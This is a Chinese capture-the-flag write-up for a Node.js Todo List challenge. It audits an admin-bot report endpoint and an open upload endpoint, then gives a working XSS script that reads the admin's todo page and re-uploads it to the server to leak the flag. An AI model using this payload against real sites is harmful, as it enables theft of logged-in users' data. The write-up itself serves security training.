题目

题目程序是一个 Node.js 编写的 Todo List。进行一通代码审计后可以发现本题的关键:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//deving........
app.post('/api/upload', upload.single('file'), (req, res) => {
return res.send('文件上传成功!');
});

app.post("/api/report", express.json({ type: Object }), function (req, res) {

if (!req.session.username) return res.send("Login first!");
if (reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+90 > now()){
return res.send(`Please comeback ${reportIpsList.get(req.ip)+90-now()}s later!`);
}
reportIpsList.set(req.ip,now());
const { url } = req.body;
if (typeof url !== 'string') return res.send("Invalid URL");

if (!url || !RegExp('^http://127\.0\.0\.1.*$').test(url)) {
return res.status(400).send('Invalid URL');
}
try {
vist(url);
return res.send("admin has visted your url");
} catch {
return res.send("some error!");
}
});

以及:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const visit = async url => {
var browser;
try {
browser = await puppeteer.launch({
headless: false,
executablePath: 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe',
args: ['--no-sandbox']
});

page = await browser.newPage();

await page.goto(SITE);
await page.waitForTimeout(500);

await page.type('#username', 'admin');
await page.type('#password', ADMIN_PASSWORD);
await page.click('#btn')
await page.waitForTimeout(800);

await page.goto(url);
await page.waitForTimeout(3000);

await browser.close();

} catch (e) {
console.log(e);
} finally {
if (browser) await browser.close();
}
}

题解

显然,这是希望选手去构造一个页面对 admin 发动 XSS 攻击。那么需要获取什么内容呢?继续代码审计可以发现 Flag 的踪迹:

1
db.set('admin', {password: crypto.createHash('sha256').update(ADMIN_PASSWORD, 'utf8').digest('hex'), todos: [{text: FLAG, isURL: false}]});

此处直接将 Flag 作为 admin 的一项 Todo 保存在数据库中。那么,我们只需要构造一个页面,将 admin 的 Todo List 读取出来即可。顺带,不要被 /api/upload 接口上方 Deving 的注释迷惑,这个接口可以正常将文件上传到服务器上。我在此处构造了这样的一个页面:

1
2
3
4
5
6
7
8
9
10
11
12
<script>
const upload = (filename, content) => fetch("/api/upload", {
"headers": { "content-type": "multipart/form-data; boundary=----WebKitFormBoundaryixF7U7xiqrS0nU9E" },
"body": "------WebKitFormBoundaryixF7U7xiqrS0nU9E\r\nContent-Disposition: form-data; name=\"file\"; filename=\"" + filename + "\"\r\nContent-Type: application/octet-stream\r\n\r\n" + content + "\r\n------WebKitFormBoundaryixF7U7xiqrS0nU9E--\r\n",
"method": "POST",
});
fetch('/todo')
.then(res => res.text())
.then(data => {
upload("data.html", data);
})
</script>

其大致原理是,先通过 /todo 接口获取 admin 的 Todo List,然后将其作为文件上传到服务器上。这样,我们就可以通过 /uploads/data.html 访问到这个文件,从而获取到 admin 的 Todo List,也就能得到 Flag 了。先将这个页面上传到服务器上,可以自己手搓一个上传页面:

1
2
3
4
<form action="http://[REDACTED]/api/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" value="Upload">
</form>

此处我用的文件名是 xss.html,将其上传后可以访问 /uploads/xss.html 进行测试,确认其可以正常捕获当前登陆账户的 Todo List 并将其上传:

Screenshot-202311052256.webp

接下来随意注册一个账号,通过 /todo 页面的 Report 功能将 http://127.0.0.1/uploads/xss.html 提交给 admin,然后等待 admin 访问即可。等待片刻,在 /uploads/data.html 中可以看到 admin 的 Todo List,其中包含了 Flag(此处为本地测试环境):

Screenshot-202311052253.webp

环境

如果你想要在本地测试,可以使用 node app.js 启动本题的环境。

不过,显然如果要正常运行它需要先进行一些配置。如果在 app.js 中重新指定了端口,别忘了在 bot.js 中也做相应更改,比如:

1
const SITE = process.env.SITE || 'http://127.0.0.1:8000';

然后切记重新指定 bot.js 中 Chromium 的路径(自己电脑上任意一个 Chromium 内核浏览器都行),比如:

1
2
3
4
browser = await puppeteer.launch({
headless: false, // 此处为了方便测试,我将其改为了 false,这样会显示 Chromium 窗口
executablePath: 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe',
args: ['--no-sandbox'] });